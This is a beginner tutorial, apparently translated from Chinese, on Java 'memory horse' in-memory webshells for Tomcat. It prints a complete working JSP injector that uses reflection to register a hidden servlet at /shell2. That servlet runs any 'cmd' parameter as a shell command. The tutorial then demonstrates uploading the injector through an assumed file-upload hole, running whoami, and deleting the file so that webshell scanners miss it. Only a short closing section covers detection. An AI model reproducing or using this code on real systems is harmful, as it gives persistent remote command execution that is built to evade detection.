4. Practical usage instructions for memory horse, with brief principles

I. Description

Many of my friends, who have just started learning cybersecurity, may know how to write a website with PHP and also know about one-line trojans, but are not familiar with Java web, so it is difficult to understand what a memory horse is. In this article, I will try my best to make it so that you do not need to have a Java foundation, and initially understand what a memory horse is.

PS: This article is for technical research and discussion only, strictly prohibited for illegal use, and the consequences shall be borne by the violator.

II. Introduction to Memory Horse

The traditional one-line trojan requires you to leave a .php file or a .jsp file on the website server. This is called a landing horse. 1741963387_67d4407b40b5ebd4de83d.png!small?1741963389982

If the security personnel install a webshell detection tool on the server and scan the directory, wouldn't your horse be uploaded in the morning and unusable in the afternoon? At this time, for websites developed with Java, there is an interesting horse called 'Memory Horse'.

As the name implies, the horse is injected into your memory, without a specific file. This way, webshell detection tools can't scan it.

3. Memory Horse Instance Demonstration

Now I will give you the jsp code, you don't have to understand it, just for your reference.

This is a segment of jsp code for injecting a memory horse.
（Reference annotation, this horse refers to csdn'sTr0eMaster（）

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>

<%!
  public class Shell2Servlet extends HttpServlet {
    public void init(ServletConfig servletConfig) throws ServletException {}

    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        String cmd = servletRequest.getParameter("cmd");
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        PrintWriter out = servletResponse.getWriter();
        out.println(output);
        out.flush();
        out.close();
    }

    public void destroy() {}
 }
%>
<%
    //通过反射获取applicationContext
    ServletContext servletContext = request.getServletContext();
    Field applicationField = servletContext.getClass().getDeclaredField("context");
    applicationField.setAccessible(true);
    ApplicationContext applicationContext =  (ApplicationContext) applicationField.get(servletContext);
    //通过反射获取standardContext
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext context =  (StandardContext) standardContextField.get(applicationContext);
    //Create wrapper, put the Servlet name in the wrapper, and finally instantiate Shell2Servlet
    Wrapper wrapper = context.createWrapper(); 
    wrapper.setName("Shell2Servlet"); 
    wrapper.setServletClass(Shell2Servlet.class.getName()); 
    wrapper.setServlet(new Shell2Servlet());
    //Put the wrapper into the standardContext
    context.addChild(wrapper);
    //Map the URL address, note that if it is Tomcat7, use addServletMapping("/shell2", "Shell2Servlet")
    context.addServletMappingDecoded("/shell2", "Shell2Servlet", false);
%>
</body>
</html>

Now we upload this code to a tomcat server (here it is uploaded directly, you just pretend there is a file upload vulnerability)

1741964144_67d44370565dc5933c7d0.png!small?1741964147357

Now, go to access this file, let the server run this piece of jsp code

1741964217_67d443b9113a3f3b1af02.png!small?1741964219841

Brothers, now our horse has been injected into the JVM memory, let's access the memory horse now

/shell2?cmd=whoami

1741964344_67d4443863b036a0aeb1c.png!small?1741964347121

Now we delete the previous kk.jsp file

1741964424_67d44488e3594a2f62067.png!small?1741964427812

Can we still access /shell2, brothers?

Haha, it still works, now you understand how interesting the memory horse is, you can still do it without a file, because it has been injected into memory, and now this horse can run continuously until the server restarts.

1741964707_67d445a3d023117d1a46a.png!small?1741964713205

(To prevent someone from saying that I may not have deleted it, let's see if this file is still there)

Encoding, absolute path

1741964857_67d4463957c8c07fff7b5.png!small?1741964860147

dir access

1741964833_67d446213daabd6fc9825.png!small?1741964836185

Is it not there anymore?

4. Practical usage instructions for memory horse, with brief principles

Everyone who has seen this jsp code thought that the memory horse was uploaded first through a file upload vulnerability, um, that's okay. But in fact, the possibility of injection through deserialization is much higher.

This article is just to help everyone get a preliminary understanding of what this is.

If we have to be specific, Java web has three main components: Servlet, Filter, and Listener

For this Java web, the normal logic is that you register a Servlet in web.xml and name it shell2, and then create a custom Shell2Servlet

The class inherits HttpServlet

Your server will have multiple paths called /shell2, and the execution code is written in the Shell2Servlet class. (springboot's @GetMapping("/shell2") )

Of course, it is not necessary to directly modify the web.xml for real memory horses, you can dynamically register a Servlet. This thing will be in memory once it is successfully registered, which is what we call a memory horse. You don't need a specific file.

Filters and Listeners also follow this principle.

If you want to take your learning to the next level, you will need to have more knowledge of Java web and Java SE.

V. Memory horse detection and removal

This thing, because it runs in memory, can only dump the bytecode in memory and reverse compile it to Java code for inspection. There are some special tools for this, such as Arthas.

You can also check the non-existent paths of the suspicious web access log, but both methods are quite labor-intensive.